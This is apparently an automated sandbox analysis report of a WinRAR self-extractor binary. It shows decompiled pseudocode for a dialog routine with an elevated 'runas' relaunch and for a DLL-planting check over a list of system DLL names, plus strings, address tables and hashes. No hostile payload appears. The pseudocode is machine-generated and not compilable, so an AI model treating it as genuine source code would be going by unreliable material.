																E0136B4C7(_t300);
															}
														}
													}
													E01351294(_t302, _t277, _t277);
													 *0x13975dc =  *0x13975dc & 0x00000000;
													__eflags =  *0x13975dc;
													_t182 =  *0x13975d7; // 0x1
													goto L75;
												}
												__eflags = _t285;
												_t169 = (_t169 & 0xffffff00 | _t285 != 0x00000000) - 0x00000001 &  *(_t321 + 0x17);
												__eflags = _t169;
												L52:
												__eflags = _t169;
												 *(_t321 + 0x17) = _t169 == 0;
												__eflags = _t169;
												if(_t169 == 0) {
													L66:
													__eflags =  *(_t321 + 0x17);
													if( *(_t321 + 0x17) != 0) {
														_push(E0135DA42(_t285, 0x9a));
														E01353E41(_t321 - 0x5688, 0xa00, L"\"%s\"\n%s", _t321 - 0x2164);
														E01356E03(0x13900e0, _t277);
														E01369735(_t302, _t321 - 0x5688, E0135DA42(0x13900e0, 0x96), 0x30);
														 *0x13975cc =  *0x13975cc + 1;
													}
													L12:
													_push(0);
													goto L13;
												}
												GetModuleFileNameW(0, _t321 - 0x1164, 0x800);
												_t285 = 0x139b602;
												E0135E7AA(0x139b602, _t321 - 0x164, 0x80);
												_push(0x139a602);
												E01353E41(_t321 - 0x11ca0, 0x430c, L"-el -s2 \"-d%s\" \"-sp%s\"", _t321 - 0x2164);
												_t323 = _t323 + 0x14;
												 *(_t321 - 0x48) = 0x3c;
												 *((intOrPtr*)(_t321 - 0x44)) = 0x40;
												 *((intOrPtr*)(_t321 - 0x38)) = _t321 - 0x1164;
												 *((intOrPtr*)(_t321 - 0x34)) = _t321 - 0x11ca0;
												 *(_t321 - 0x40) = _t302;
												 *((intOrPtr*)(_t321 - 0x3c)) = L"runas";
												 *(_t321 - 0x2c) = _t277;
												 *((intOrPtr*)(_t321 - 0x28)) = 0;
												 *((intOrPtr*)(_t321 - 0x30)) = 0x13975f8;
												_t317 = CreateFileMappingW(0xffffffff, 0, 0x8000004, 0, 0x7104, L"winrarsfxmappingfile.tmp");
												 *(_t321 + 8) = _t317;
												__eflags = _t317;
												if(_t317 == 0) {
													 *(_t321 + 0x10) =  *(_t321 + 0x14);
												} else {
													 *0x13a5d08 = 0;
													_t231 = GetCommandLineW();
													__eflags = _t231;
													if(_t231 != 0) {
														E0135FAB1(0x13a5d0a, _t231, 0x2000);
													}
													E0136A24E(_t285, 0x13a9d0a, 7);
													E0136A24E(_t285, 0x13aad0a, 2);
													E0136A24E(_t285, 0x13abd0a, 0x10);
													 *0x13ace0b = _t277;
													_t285 = 0x13acd0a;
													E0135E90C(_t277, 0x13acd0a, _t321 - 0x164);
													 *(_t321 + 0x10) = MapViewOfFile(_t317, 2, 0, 0, 0);
													E0136EA80(_t238, 0x13a5d08, 0x7104);
													_t323 = _t323 + 0xc;
												}
												_t220 = ShellExecuteExW(_t321 - 0x48);
												E0135E957(_t321 - 0x164, 0x80);
												E0135E957(_t321 - 0x11ca0, 0x430c);
												__eflags = _t220;
												if(_t220 == 0) {
													_t319 =  *(_t321 + 0x10);
													 *(_t321 + 0x17) = _t277;
													goto L64;
												} else {
													 *0x138df20( *(_t321 - 0x10), 0x2710);
													_t71 = _t321 + 0xc;
													 *_t71 =  *(_t321 + 0xc) & 0x00000000;
													__eflags =  *_t71;
													_t319 =  *(_t321 + 0x10);
													while(1) {
														__eflags =  *_t319;
														if( *_t319 != 0) {
															break;
														}
														Sleep(0x64);
														_t230 =  *(_t321 + 0xc) + 1;
														 *(_t321 + 0xc) = _t230;
														__eflags = _t230 - 0x64;
														if(_t230 < 0x64) {
															continue;
														}
														break;
													}
													 *0x13ade2c =  *(_t321 - 0x10);
													L64:
													__eflags =  *(_t321 + 8);
													if( *(_t321 + 8) != 0) {
														UnmapViewOfFile(_t319);
														CloseHandle( *(_t321 + 8));
													}
													goto L66;
												}
											}
											__eflags = _t300;
											if(_t300 == 0) {
												goto L52;
											}
											E01353E41(_t321 - 0x1164, 0x800, L"__tmp_rar_sfx_access_check_%u", GetTickCount());
											_t323 = _t323 + 0x10;
											E0135943C(_t321 - 0x3188);
											 *(_t321 - 4) =  *(_t321 - 4) & 0x00000000;
											_push(0x11);
											_push(_t321 - 0x1164);
											_t246 = E01359528(_t321 - 0x3188);
											 *((char*)(_t321 + 0x13)) = _t246;
											__eflags = _t246;
											if(_t246 == 0) {
												_t247 = GetLastError();
												__eflags = _t247 - 5;
												if(_t247 == 5) {
													 *(_t321 + 0x17) = _t277;
												}
											}
											_t39 = _t321 - 4;
											 *_t39 =  *(_t321 - 4) | 0xffffffff;
											__eflags =  *_t39;
											_t169 = E0135946E(_t321 - 0x3188); // executed
											_t285 =  *0x1399601;
											goto L50;
										}
										_t248 = GetLastError();
										_t300 =  *((intOrPtr*)(_t321 + 0x13));
										__eflags = _t248 - 5;
										if(_t248 != 5) {
											goto L43;
										}
										_t169 = _t277;
										 *(_t321 + 0x17) = _t169;
										goto L44;
									} else {
										_t249 = GetLastError();
										__eflags = _t249 - 5;
										if(_t249 == 5) {
											L39:
											 *(_t321 + 0x17) = _t277;
											goto L40;
										}
										__eflags = _t249 - 3;
										if(_t249 != 3) {
											goto L40;
										}
										goto L39;
									}
								} else {
									_t277 = 1;
									_t182 = 1;
									 *0x13975d7 = 1;
									L75:
									__eflags =  *0x13975cc;
									if( *0x13975cc <= 0) {
										goto L26;
									}
									__eflags = _t182;
									if(_t182 != 0) {
										goto L26;
									}
									 *0x13975d0 = _t277;
									SetDlgItemTextW(_t302, _t277, E0135DA42(_t285, 0x90));
									_t290 =  *0x13900e0; // 0x0
									__eflags = _t290 - 9;
									if(_t290 != 9) {
										__eflags = _t290 - 3;
										_t189 = ((0 | _t290 != 0x00000003) - 0x00000001 & 0x0000000a) + 0x97;
										__eflags = _t189;
										 *(_t321 + 0x14) = _t189;
										_t316 = _t189;
									} else {
										_t316 = 0xa0;
									}
									_t190 = E0135DA42(_t290, 0x96);
									E01369735(_t302, E0135DA42(_t290, _t316), _t190, 0x30);
									goto L125;
								}
							}
							_t277 = 1;
							__eflags =  *0x13975d1;
							if( *0x13975d1 == 0) {
								goto L26;
							}
							goto L25;
						}
						__eflags =  *0x13afe3c;
						if( *0x13afe3c == 0) {
							goto L23;
						} else {
							__eflags =  *0x13afe3d;
							_t254 = _t149 & 0xffffff00 |  *0x13afe3d == 0x00000000;
							__eflags = _t254;
							 *0x13afe3d = _t254;
							_t255 = E0135DA42((0 | _t254 != 0x00000000) + 0xe6, (0 | _t254 != 0x00000000) + 0xe6);
							_t277 = 1;
							SetDlgItemTextW(_t302, 1, _t255);
							while(1) {
								__eflags =  *0x13afe3d;
								if( *0x13afe3d == 0) {
									goto L125;
								}
								__eflags =  *0x13975d7;
								if( *0x13975d7 != 0) {
									goto L125;
								}
								_t259 = GetMessageW(_t321 - 0x64, 0, 0, 0);
								__eflags = _t259;
								if(_t259 == 0) {
									goto L125;
								} else {
									_t261 = IsDialogMessageW(_t302, _t321 - 0x64);
									__eflags = _t261;
									if(_t261 == 0) {
										TranslateMessage(_t321 - 0x64);
										DispatchMessageW(_t321 - 0x64);
									}
									continue;
								}
							}
							goto L125;
						}
					}
					_t266 = _t149 - 1;
					__eflags = _t266;
					if(_t266 == 0) {
						_t277 = 1;
						__eflags =  *0x13975dc;
						 *0x13975d7 = 1;
						if( *0x13975dc == 0) {
							goto L12;
						}
						__eflags =  *0x13975cc;
						if( *0x13975cc != 0) {
							goto L125;
						}
						goto L12;
					}
					__eflags = _t266 == 0x65;
					if(_t266 == 0x65) {
						_t270 = E01351217(_t302, E0135DA42(_t285, 0x64), _t321 - 0x1164);
						__eflags = _t270;
						if(_t270 != 0) {
							SetDlgItemTextW(_t302, 0x66, _t321 - 0x1164);
						}
						goto L1;
					}
					goto L7;
				}
				L1:
				_t116 = 1;
				goto L126;
			}

0x0136a5d1
0x0136a5d1
0x0136a5d6
0x0136a5e0
0x0136a5e6
0x0136a5ea
0x0136a5ee
0x0136a607
0x0136a611
0x0136a611
0x0136a617
0x0136acb3
0x0136acb8
0x0136acbf
0x0136acc0
0x0136acc6
0x0136accc
0x0136acce
0x0136acd8
0x0136acd8
0x0136acde
0x0136ace3
0x0136ace5
0x0136acf2
0x0136acf2
0x0136ad01
0x0136ad10
0x0136ad13
0x0136ad25
0x0136ad2d
0x0136ad2f
0x0136ad37
0x0136ad39
0x0136ad3c
0x0136ad41
0x0136ad43
0x0136ad43
0x0136ad4b
0x0136ad52
0x0136ad57
0x0136ad5c
0x0136ad61
0x0136ad66
0x0136ad67
0x0136ad6e
0x0136ad73
0x0136ad75
0x0136ad77
0x0136ad77
0x0136ad7d
0x0136ad84
0x0136ad86
0x0136ad88
0x0136ad8e
0x0136ad8f
0x0136ad8f
0x0136ad94
0x0136ad9b
0x0136adab
0x0136adbe
0x0136adbe
0x0136adc4
0x0136adcb
0x0136ae7c
0x0136ae7c
0x0136ae83
0x0136af2c
0x0136af2c
0x0136af33
0x0136af38
0x0136af38
0x0136af3e
0x0136af45
0x0136af4c
0x0136af56
0x0136af56
0x0136af5b
0x0136af60
0x0136af62
0x0136af64
0x0136af6b
0x0136af6d
0x0136af6f
0x0136af70
0x0136af75
0x0136af76
0x0136af78
0x0136af82
0x0136af7a
0x0136af7a
0x0136af7a
0x0136af78
0x0136af6b
0x0136af88
0x0136af8f
0x0136af9e
0x0136af9e
0x00000000
0x0136af8f
0x0136ae89
0x0136ae90
0x00000000
0x00000000
0x0136ae96
0x0136ae9d
0x00000000
0x00000000
0x0136aea3
0x0136aea5
0x0136aeaa
0x0136aeb1
0x0136aeb1
0x0136aeb7
0x0136aec2
0x0136aec2
0x0136aec8
0x0136aed3
0x0136aee4
0x0136aefc
0x00000000
0x0136aefc
0x0136aeca
0x0136aed1
0x00000000
0x00000000
0x00000000
0x0136aed1
0x0136aeb9
0x0136aec0
0x00000000
0x00000000
0x00000000
0x0136af01
0x0136af01
0x0136af02
0x0136af02
0x0136af0a
0x0136af24
0x0136af29
0x00000000
0x0136add1
0x0136add1
0x0136add3
0x0136add9
0x0136adda
0x0136addf
0x0136ade4
0x0136ade6
0x0136ade8
0x0136adef
0x0136adf1
0x0136ae05
0x0136ae10
0x0136ae15
0x0136ae15
0x0136adef
0x0136ae16
0x0136ae1c
0x0136ae6f
0x0136ae6f
0x0136ae70
0x0136ae76
0x0136ae77
0x00000000
0x0136ae1e
0x0136ae1f
0x0136ae25
0x0136ae2b
0x00000000
0x00000000
0x0136ae2d
0x0136ae34
0x00000000
0x00000000
0x0136ae36
0x0136ae38
0x0136ae3e
0x0136ae3f
0x0136ae44
0x0136ae4b
0x00000000
0x00000000
0x0136ae61
0x0136ae67
0x0136ae69
0x0136a75d
0x0136a75d
0x0136a763
0x0136a763
0x0136a687
0x0136a688
0x0136afa4
0x0136afa4
0x0136afa6
0x0136afac
0x0136afb6
0x0136afb6
0x00000000
0x0136ae69
0x0136ae1c
0x0136adcb
0x0136a61d
0x0136a620
0x0136a634
0x0136a634
0x00000000
0x0136a634
0x0136a625
0x0136a625
0x0136a628
0x0136a693
0x0136a69a
0x0136a732
0x0136a732
0x0136a742
0x0136a748
0x0136a74f
0x0136a769
0x0136a770
0x0136a784
0x0136a78a
0x0136a791
0x0136a793
0x0136a7a5
0x0136a7b4
0x0136a7b6
0x0136a7b6
0x0136a7bc
0x0136a7c2
0x0136a7c9
0x0136a7e6
0x0136a7f3
0x0136a816
0x0136a81b
0x0136a81e
0x0136a7cb
0x0136a7d0
0x0136a7d0
0x0136a827
0x0136a82c
0x0136a833
0x0136a83c
0x0136a83c
0x0136a841
0x0136a84b
0x0136a84c
0x0136a84f
0x0136a85c
0x0136a85d
0x0136a85f
0x0136a872
0x0136a87e
0x0136a880
0x0136a883
0x0136a885
0x0136a898
0x0136a898
0x0136a89b
0x0136a89b
0x0136a8a1
0x0136a8a3
0x0136a912
0x0136a912
0x0136a916
0x0136ab5a
0x0136ab60
0x0136ab6a
0x0136ab82
0x0136ab88
0x0136ab95
0x0136aba0
0x0136aba2
0x0136aba4
0x0136abaf
0x0136abaf
0x0136abb8
0x0136abb8
0x0136abbe
0x0136abc0
0x0136abc6
0x0136abc7
0x0136abcc
0x0136abce
0x0136abd4
0x0136abd5
0x0136abda
0x0136abdf
0x0136abe0
0x0136abe6
0x0136abeb
0x0136abed
0x0136abf3
0x0136abfa
0x0136abfb
0x0136ac00
0x0136ac07
0x0136ac09
0x0136ac10
0x0136ac12
0x0136ac19
0x0136ac1b
0x0136ac1d
0x0136ac23
0x0136ac24
0x0136ac24
0x0136ac19
0x0136ac10
0x0136ac2c
0x0136ac31
0x0136ac31
0x0136ac38
0x00000000
0x0136ac38
0x0136a91c
0x0136a923
0x0136a923
0x0136a926
0x0136a926
0x0136a928
0x0136a92c
0x0136a92e
0x0136aaf0
0x0136aaf0
0x0136aaf4
0x0136ab04
0x0136ab1d
0x0136ab2b
0x0136ab45
0x0136ab4a
0x0136ab4a
0x0136a685
0x0136a685
0x00000000
0x0136a685
0x0136a942
0x0136a953
0x0136a959
0x0136a95e
0x0136a97b
0x0136a980
0x0136a983
0x0136a990
0x0136a997
0x0136a9a0
0x0136a9b8
0x0136a9bb
0x0136a9c2
0x0136a9c5
0x0136a9c8
0x0136a9d5
0x0136a9d7
0x0136a9da
0x0136a9dc
0x0136aa67
0x0136a9e2
0x0136a9e2
0x0136a9e9
0x0136a9ef
0x0136a9f1
0x0136a9fe
0x0136a9fe
0x0136aa0a
0x0136aa16
0x0136aa22
0x0136aa2d
0x0136aa34
0x0136aa39
0x0136aa57
0x0136aa5a
0x0136aa5f
0x0136aa5f
0x0136aa6e
0x0136aa82
0x0136aa93
0x0136aa98
0x0136aa9a
0x0136aad4
0x0136aad7
0x00000000
0x0136aa9c
0x0136aaa4
0x0136aaaa
0x0136aaaa
0x0136aaaa
0x0136aaae
0x0136aab1
0x0136aab1
0x0136aab4
0x00000000
0x00000000
0x0136aab8
0x0136aac1
0x0136aac2
0x0136aac5
0x0136aac8
0x00000000
0x00000000
0x00000000
0x0136aac8
0x0136aacd
0x0136aada
0x0136aada
0x0136aade
0x0136aae1
0x0136aaea
0x0136aaea
0x00000000
0x0136aade
0x0136aa9a
0x0136a8a5
0x0136a8a7
0x00000000
0x00000000
0x0136a8c1
0x0136a8c6
0x0136a8cf
0x0136a8d4
0x0136a8de
0x0136a8e0
0x0136a8e7
0x0136a8ec
0x0136a8ef
0x0136a8f1
0x0136a8f3
0x0136a8f5
0x0136a8f8
0x0136a8fa
0x0136a8fa
0x0136a8f8
0x0136a8fd
0x0136a8fd
0x0136a8fd
0x0136a907
0x0136a90c
0x00000000
0x0136a90c
0x0136a887
0x0136a889
0x0136a88c
0x0136a88f
0x00000000
0x00000000
0x0136a891
0x0136a893
0x00000000
0x0136a861
0x0136a861
0x0136a863
0x0136a866
0x0136a86d
0x0136a86f
0x00000000
0x0136a86f
0x0136a868
0x0136a86b
0x00000000
0x00000000
0x00000000
0x0136a86b
0x0136a772
0x0136a774
0x0136a775
0x0136a777
0x0136ac3d
0x0136ac3d
0x0136ac44
0x00000000
0x00000000
0x0136ac4a
0x0136ac4c
0x00000000
0x00000000
0x0136ac57
0x0136ac65
0x0136ac6b
0x0136ac71
0x0136ac74
0x0136ac7f
0x0136ac89
0x0136ac89
0x0136ac8e
0x0136ac91
0x0136ac76
0x0136ac76
0x0136ac76
0x0136ac9a
0x0136aca8
0x00000000
0x0136aca8
0x0136a770
0x0136a753
0x0136a754
0x0136a75b
0x00000000
0x00000000
0x00000000
0x0136a75b
0x0136a6a0
0x0136a6a7
0x00000000
0x0136a6ad
0x0136a6ad
0x0136a6b4
0x0136a6b9
0x0136a6bb
0x0136a6ca
0x0136a6d2
0x0136a6d5
0x0136a724
0x0136a724
0x0136a72b
0x0136a72d
0x0136a72d
0x0136a6dd
0x0136a6e4
0x00000000
0x00000000
0x0136a6f3
0x0136a6f9
0x0136a6fb
0x00000000
0x0136a701
0x0136a706
0x0136a70c
0x0136a70e
0x0136a714
0x0136a71e
0x0136a71e
0x00000000
0x0136a70e
0x0136a6fb
0x00000000
0x0136a724
0x0136a6a7
0x0136a62a
0x0136a62a
0x0136a62d
0x0136a668
0x0136a669
0x0136a670
0x0136a676
0x00000000
0x00000000
0x0136a678
0x0136a67f
0x00000000
0x00000000
0x00000000
0x0136a67f
0x0136a62f
0x0136a632
0x0136a64b
0x0136a650
0x0136a652
0x0136a65e
0x0136a65e
0x00000000
0x0136a652
0x00000000
0x0136a632
0x0136a609
0x0136a60b
0x00000000

APIs

__EH_prolog.LIBCMT ref: 0136A5D6

Part of subcall function 013512D7: GetDlgItem.USER32(00000000,00003021), ref: 0135131B
Part of subcall function 013512D7: SetWindowTextW.USER32(00000000,013822E4), ref: 01351331

Strings

C:\Users\user\Desktop, xrefs: 0136A9C8
<, xrefs: 0136A983
"%s"%s, xrefs: 0136AB0C
__tmp_rar_sfx_access_check_%u, xrefs: 0136A8B0
winrarsfxmappingfile.tmp, xrefs: 0136A9A5
STARTDLG, xrefs: 0136A5F5
LICENSEDLG, xrefs: 0136AE56
@, xrefs: 0136A990
-el -s2 "-d%s" "-sp%s", xrefs: 0136A96A

Memory Dump Source

Source File: 00000000.00000002.667798587.0000000001351000.00000020.00020000.sdmp, Offset: 01350000, based on PE: true

Associated: 00000000.00000002.667793815.0000000001350000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667822042.0000000001382000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.667831818.000000000138D000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667837526.0000000001394000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667843549.00000000013B0000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.667848478.00000000013B1000.00000002.00020000.sdmp Download File

Similarity

API ID: H_prologItemTextWindow
String ID: "%s"%s$-el -s2 "-d%s" "-sp%s"$<$@$C:\Users\user\Desktop$LICENSEDLG$STARTDLG$__tmp_rar_sfx_access_check_%u$winrarsfxmappingfile.tmp
API String ID: 810644672-8108337
Opcode ID: 06f0fe14944e2bb21211b7daf8cbe010f61426565eef0486e5dabd8f6e9f49ed
Instruction ID: 9435ff3e36f308b5fa6e5224e383ae59d2bf6423648be224f39fa07fb3b11d1c
Opcode Fuzzy Hash: 06f0fe14944e2bb21211b7daf8cbe010f61426565eef0486e5dabd8f6e9f49ed
Instruction Fuzzy Hash: EB42D371944345BFEB31ABA8DC48FAE3BACAB15B08F008059FA05B71C9D7754949CF61

Uniqueness

Uniqueness Score: -1.00%

Function 0135FD49, Relevance: 51.1, APIs: 22, Strings: 7, Instructions: 314
libraryfileloaderCOMMON

Download Yara Rule

C-Code - Quality: 76%

			E0135FD49(void* __edx, char _a3, long _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16, CHAR* _a20, CHAR* _a24, CHAR* _a28, CHAR* _a32, CHAR* _a36, CHAR* _a40, CHAR* _a44, CHAR* _a48, CHAR* _a52, CHAR* _a56, CHAR* _a60, CHAR* _a64, CHAR* _a68, CHAR* _a72, CHAR* _a76, CHAR* _a80, CHAR* _a84, CHAR* _a88, CHAR* _a92, CHAR* _a96, CHAR* _a100, CHAR* _a104, CHAR* _a108, CHAR* _a112, CHAR* _a116, CHAR* _a120, CHAR* _a124, CHAR* _a128, CHAR* _a132, CHAR* _a136, CHAR* _a140, CHAR* _a144, CHAR* _a148, CHAR* _a152, CHAR* _a156, CHAR* _a160, CHAR* _a164, CHAR* _a168, CHAR* _a172, CHAR* _a176, CHAR* _a180, CHAR* _a184, CHAR* _a188, CHAR* _a192, CHAR* _a196, CHAR* _a200, CHAR* _a204, CHAR* _a208, CHAR* _a212, CHAR* _a216, CHAR* _a220, CHAR* _a224, CHAR* _a228, CHAR* _a232, CHAR* _a236, CHAR* _a240, CHAR* _a244, char _a248, char _a252, short _a756, short _a760, char _a768, short _a772, char _a4848, char _a4852, void _a4860, char _a4864, short _a4868, char _a9152, char _a9160, void _a13260, signed char _a46032) {
				char _v1;
				long _v4;
				char* _t118;
				void* _t126;
				int _t130;
				long _t141;
				int _t167;
				_Unknown_base(*)()* _t176;
				_Unknown_base(*)()* _t177;
				signed char _t184;
				struct _SECURITY_ATTRIBUTES* _t195;
				long _t197;
				void* _t198;
				struct HINSTANCE__* _t201;
				signed int _t203;
				signed int _t205;
				void* _t206;
				signed int _t207;
				int _t208;
				void* _t210;

				E0136D940();
				_push(_t207);
				_a3 = 0;
				_t201 = GetModuleHandleW(L"kernel32");
				if(_t201 == 0) {
					L5:
					_t118 =  *0x138d080; // 0x1382884
					_t208 = _t207 | 0xffffffff;
					_t202 = 0x800;
					_a8 = L"version.dll";
					_a12 = L"DXGIDebug.dll";
					_a16 = L"sfc_os.dll";
					_a20 = L"SSPICLI.DLL";
					_a24 = L"rsaenh.dll";
					_a28 = L"UXTheme.dll";
					_a32 = L"dwmapi.dll";
					_a36 = L"cryptbase.dll";
					_a40 = L"lpk.dll";
					_a44 = L"usp10.dll";
					_a48 = L"clbcatq.dll";
					_a52 = L"comres.dll";
					_a56 = L"ws2_32.dll";
					_a60 = L"ws2help.dll";
					_a64 = L"psapi.dll";
					_a68 = L"ieframe.dll";
					_a72 = L"ntshrui.dll";
					_a76 = L"atl.dll";
					_a80 = L"setupapi.dll";
					_a84 = L"apphelp.dll";
					_a88 = L"userenv.dll";
					_a92 = L"netapi32.dll";
					_a96 = L"shdocvw.dll";
					_a100 = L"crypt32.dll";
					_a104 = L"msasn1.dll";
					_a108 = L"cryptui.dll";
					_a112 = L"wintrust.dll";
					_a116 = L"shell32.dll";
					_a120 = L"secur32.dll";
					_a124 = L"cabinet.dll";
					_a128 = L"oleaccrc.dll";
					_a132 = L"ntmarta.dll";
					_a136 = L"profapi.dll";
					_a140 = L"WindowsCodecs.dll";
					_a144 = L"srvcli.dll";
					_a148 = L"cscapi.dll";
					_a152 = L"slc.dll";
					_a156 = L"imageres.dll";
					_a160 = L"dnsapi.DLL";
					_a164 = L"iphlpapi.DLL";
					_a168 = L"WINNSI.DLL";
					_a172 = L"netutils.dll";
					_a176 = L"mpr.dll";
					_a180 = L"devrtl.dll";
					_a184 = L"propsys.dll";
					_a188 = L"mlang.dll";
					_a192 = L"samcli.dll";
					_a196 = L"samlib.dll";
					_a200 = L"wkscli.dll";
					_a204 = L"dfscli.dll";
					_a208 = L"browcli.dll";
					_a212 = L"rasadhlp.dll";
					_a216 = L"dhcpcsvc6.dll";
					_a220 = L"dhcpcsvc.dll";
					_a224 = L"XmlLite.dll";
					_a228 = L"linkinfo.dll";
					_a232 = L"cryptsp.dll";
					_a236 = L"RpcRtRemote.dll";
					_a240 = L"aclui.dll";
					_a244 = L"dsrole.dll";
					_a248 = L"peerdist.dll";
					if( *_t118 == 0x78) {
						L14:
						GetModuleFileNameW(0,  &_a772, _t202);
						E0135FAB1( &_a9160, E0135B943(_t223,  &_a772), _t202);
						_t195 = 0;
						_t203 = 0;
						do {
							if(E0135A995() < 0x600) {
								_t126 = 0;
								__eflags = 0;
							} else {
								_t126 = E0135FCFD( *((intOrPtr*)(_t210 + 0x18 + _t203 * 4))); // executed
							}
							if(_t126 == 0) {
								L20:
								_push(0x800);
								E0135B9B9(_t227,  &_a772,  *((intOrPtr*)(_t210 + 0x1c + _t203 * 4)));
								_t130 = GetFileAttributesW( &_a760); // executed
								if(_t130 != _t208) {
									_t195 =  *((intOrPtr*)(_t210 + 0x18 + _t203 * 4));
									L24:
									if(_v1 != 0) {
										L30:
										_t234 = _t195;
										if(_t195 == 0) {
											return _t130;
										}
										E0135B98D(_t234,  &_a768);
										if(E0135A995() < 0x600) {
											_push( &_a9160);
											_push( &_a768);
											E01353E41( &_a4864, 0x864, L"Please remove %s from %s folder. It is unsecure to run %s until it is done.", _t195);
											_t210 = _t210 + 0x18;
											_t130 = AllocConsole();
											__eflags = _t130;
											if(_t130 != 0) {
												__imp__AttachConsole(GetCurrentProcessId());
												_t141 = E01372B33( &_a4860);
												WriteConsoleW(GetStdHandle(0xfffffff4),  &_a4860, _t141,  &_v4, 0);
												Sleep(0x2710);
												_t130 = FreeConsole();
											}
										} else {
											E0135FCFD(L"dwmapi.dll");
											E0135FCFD(L"uxtheme.dll");
											_push( &_a9152);
											_push( &_a760);
											E01353E41( &_a4852, 0x864, E0135DA42(_t185, 0xf1), _t195);
											_t210 = _t210 + 0x18;
											_t130 = E01369735(0,  &_a4848, E0135DA42(_t185, 0xf0), 0x30);
										}
										ExitProcess(0);
									}
									_t205 = 0;
									while(1) {
										_push(0x800);
										E0135B9B9(0,  &_a768,  *((intOrPtr*)(_t210 + 0x3c + _t205 * 4)));
										_t130 = GetFileAttributesW( &_a756);
										if(_t130 != _t208) {
											break;
										}
										_t205 = _t205 + 1;
										if(_t205 < 0x35) {
											continue;
										}
										goto L30;
									}
									_t195 =  *((intOrPtr*)(_t210 + 0x38 + _t205 * 4));
									goto L30;
								}
							} else {
								_t130 = CompareStringW(0x400, 0x1001,  *(_t210 + 0x24 + _t203 * 4), _t208, L"DXGIDebug.dll", _t208); // executed
								_t227 = _t130 - 2;
								if(_t130 != 2) {
									goto L21;
								}
								goto L20;
							}
							L21:
							_t203 = _t203 + 1;
						} while (_t203 < 8);
						goto L24;
					}
					_t197 = E01376662(_t185, _t118);
					_pop(_t185);
					if(_t197 == 0) {
						goto L14;
					}
					GetModuleFileNameW(0,  &_a4868, 0x800);
					_t206 = CreateFileW( &_a4868, 0x80000000, 1, 0, 3, 0, 0);
					if(_t206 == _t208 || SetFilePointer(_t206, _t197, 0, 0) != _t197) {
						L13:
						CloseHandle(_t206);
						_t202 = 0x800;
						goto L14;
					} else {
						_t167 = ReadFile(_t206,  &_a13260, 0x7ffe,  &_a4, 0);
						_t222 = _t167;
						if(_t167 == 0) {
							goto L13;
						}
						_t185 = 0;
						_push(0x104);
						 *((short*)(_t210 + 0x33e0 + (_a4 >> 1) * 2)) = 0;
						_push( &_a252);
						_push( &_a13260);
						while(1) {
							_t198 = E0135F835(_t222);
							_t223 = _t198;
							if(_t198 == 0) {
								goto L13;
							}
							E0135FCFD( &_a252);
							_push(0x104);
							_push( &_a248);
							_push(_t198);
						}
						goto L13;
					}
				}
				_t176 = GetProcAddress(_t201, "SetDllDirectoryW");
				_t184 = _a46032;
				if(_t176 != 0) {
					asm("sbb ecx, ecx");
					_t185 =  ~(_t184 & 0x000000ff) & 0x013822e4;
					 *_t176( ~(_t184 & 0x000000ff) & 0x013822e4);
				}
				_t177 = GetProcAddress(_t201, "SetDefaultDllDirectories");
				if(_t177 != 0) {
					_t185 = ((_t184 == 0x00000000) - 0x00000001 & 0xfffff800) + 0x1000;
					 *_t177(((_t184 == 0x00000000) - 0x00000001 & 0xfffff800) + 0x1000);
					_v1 = 1;
				}
				goto L5;
			}

0x0135fd4e
0x0135fd54
0x0135fd5c
0x0135fd67
0x0135fd6b
0x0135fdbe
0x0135fdbe
0x0135fdc3
0x0135fdcc
0x0135fdd1
0x0135fdd9
0x0135fde4
0x0135fdec
0x0135fdf4
0x0135fdfc
0x0135fe04
0x0135fe0c
0x0135fe14
0x0135fe1c
0x0135fe24
0x0135fe2c
0x0135fe34
0x0135fe3c
0x0135fe44
0x0135fe4c
0x0135fe54
0x0135fe5c
0x0135fe64
0x0135fe6c
0x0135fe74
0x0135fe7c
0x0135fe84
0x0135fe8c
0x0135fe94
0x0135fe9c
0x0135fea4
0x0135feaf
0x0135feba
0x0135fec5
0x0135fed0
0x0135fedb
0x0135fee6
0x0135fef1
0x0135fefc
0x0135ff07
0x0135ff12
0x0135ff1d
0x0135ff28
0x0135ff33
0x0135ff3e
0x0135ff49
0x0135ff54
0x0135ff5f
0x0135ff6a
0x0135ff75
0x0135ff80
0x0135ff8b
0x0135ff96
0x0135ffa1
0x0135ffac
0x0135ffb7
0x0135ffc2
0x0135ffcd
0x0135ffd8
0x0135ffe3
0x0135ffee
0x0135fff9
0x01360004
0x0136000f
0x0136001a
0x01360025
0x013600f3
0x013600fe
0x01360117
0x01360122
0x01360124
0x01360126
0x01360130
0x0136013d
0x0136013d
0x01360132
0x01360136
0x01360136
0x01360141
0x01360163
0x01360163
0x01360174
0x01360181
0x01360185
0x0136018f
0x01360193
0x01360198
0x013601cc
0x013601cc
0x013601ce
0x013602e5
0x013602e5
0x013601dc
0x013601eb
0x0136025a
0x01360262
0x01360276
0x0136027b
0x0136027e
0x01360284
0x01360286
0x0136028f
0x013602a4
0x013602bc
0x013602c7
0x013602cd
0x013602cd
0x013601ed
0x013601f2
0x013601fc
0x01360208
0x01360210
0x0136022a
0x0136022f
0x01360249
0x01360249
0x013602d5
0x013602d5
0x0136019a
0x0136019c
0x0136019c
0x013601ad
0x013601ba
0x013601be
0x00000000
0x00000000
0x013601c0
0x013601c4
0x00000000
0x00000000
0x00000000
0x013601c6
0x013601c8
0x00000000
0x013601c8
0x01360143
0x01360158
0x0136015e
0x01360161
0x00000000
0x00000000
0x00000000
0x01360161
0x01360187
0x01360187
0x01360188
0x00000000
0x0136018d
0x01360031
0x01360033
0x01360036
0x00000000
0x00000000
0x01360047
0x01360065
0x01360069
0x013600e7
0x013600e8
0x013600ee
0x00000000
0x0136007b
0x01360090
0x01360096
0x01360098
0x00000000
0x00000000
0x013600a0
0x013600a2
0x013600a7
0x013600b6
0x013600be
0x013600dc
0x013600e1
0x013600e3
0x013600e5
0x00000000
0x00000000
0x013600c9
0x013600ce
0x013600da
0x013600db
0x013600db
0x00000000
0x013600dc
0x01360069
0x0135fd79
0x0135fd7b
0x0135fd84
0x0135fd8b
0x0135fd8d
0x0135fd94
0x0135fd94
0x0135fd9c
0x0135fda0
0x0135fdb0
0x0135fdb7
0x0135fdb9
0x0135fdb9
0x00000000

APIs

GetModuleHandleW.KERNEL32 ref: 0135FD61
